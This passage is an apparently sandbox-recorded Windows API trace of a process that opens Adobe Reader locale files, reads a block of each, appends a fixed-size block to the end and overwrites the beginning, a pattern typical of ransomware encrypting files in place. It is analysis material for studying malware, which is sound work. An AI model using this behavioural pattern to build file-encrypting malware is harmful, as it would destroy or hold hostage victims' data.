(in: hFile=0x1b0, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.048] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x157e00 [0035.049] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.049] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.049] WriteFile (in: hFile=0x1b0, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.050] WriteFile (in: hFile=0x1b0, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.050] CloseHandle (hObject=0x1b0) returned 1 [0035.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.304] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.304] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7200 [0035.304] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.304] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.304] ReleaseMutex (hMutex=0x128) returned 1 [0035.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CAT", lpUsedDefaultChar=0x0) returned 11 [0035.304] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.311] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6200 [0035.311] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.315] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6200 [0035.315] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deaf78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.315] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.315] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.316] CloseHandle (hObject=0x1b0) returned 1 [0035.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\escript.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.321] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.321] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x9c00 [0035.321] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.321] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.321] ReleaseMutex (hMutex=0x128) returned 1 [0035.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CZE", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CZE", lpUsedDefaultChar=0x0) returned 11 [0035.322] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.327] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8c00 [0035.327] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.332] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8c00 [0035.332] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.333] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.333] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.333] CloseHandle (hObject=0x1b0) returned 1 [0035.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\search.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.336] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.336] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x5a00 [0035.336] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.336] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.336] ReleaseMutex (hMutex=0x128) returned 1 [0035.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CZE", lpUsedDefaultChar=0x0) returned 10 [0035.336] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.340] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4a00 [0035.341] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.342] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4a00 [0035.342] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.342] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.343] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.343] CloseHandle (hObject=0x1b0) returned 1 [0035.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\annots.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.349] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.349] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x76400 [0035.349] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.349] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.349] ReleaseMutex (hMutex=0x128) returned 1 [0035.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DAN", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DAN", lpUsedDefaultChar=0x0) returned 10 [0035.349] ReadFile (in: hFile=0x184, lpBuffer=0x1de2de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.369] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x75400 [0035.369] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.371] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x75400 [0035.371] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.372] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.372] WriteFile (in: hFile=0x184, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.372] CloseHandle (hObject=0x184) returned 1 [0035.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\pddom.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.379] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.379] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2c00 [0035.379] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.379] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.379] ReleaseMutex (hMutex=0x128) returned 1 [0035.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DAN", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DAN", lpUsedDefaultChar=0x0) returned 9 [0035.379] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.381] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c00 [0035.381] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.382] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c00 [0035.382] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.382] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.382] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.382] CloseHandle (hObject=0x184) returned 1 [0035.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\spelling.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.384] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.385] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2800 [0035.385] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.385] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.385] ReleaseMutex (hMutex=0x128) returned 1 [0035.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DAN", lpUsedDefaultChar=0x0) returned 12 [0035.385] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.387] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1800 [0035.387] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.388] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1800 [0035.388] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.388] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.388] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.388] CloseHandle (hObject=0x184) returned 1 [0035.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0035.392] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.392] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4c00 [0035.392] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.392] ReleaseMutex (hMutex=0x128) returned 1 [0035.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DEU", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DEU", lpUsedDefaultChar=0x0) returned 7 [0035.392] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.399] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3c00 [0035.399] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.399] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3c00 [0035.400] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de8f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8f48*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.401] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.401] WriteFile (in: hFile=0x1a0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.401] CloseHandle (hObject=0x1a0) returned 1 [0035.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0035.406] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.406] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: 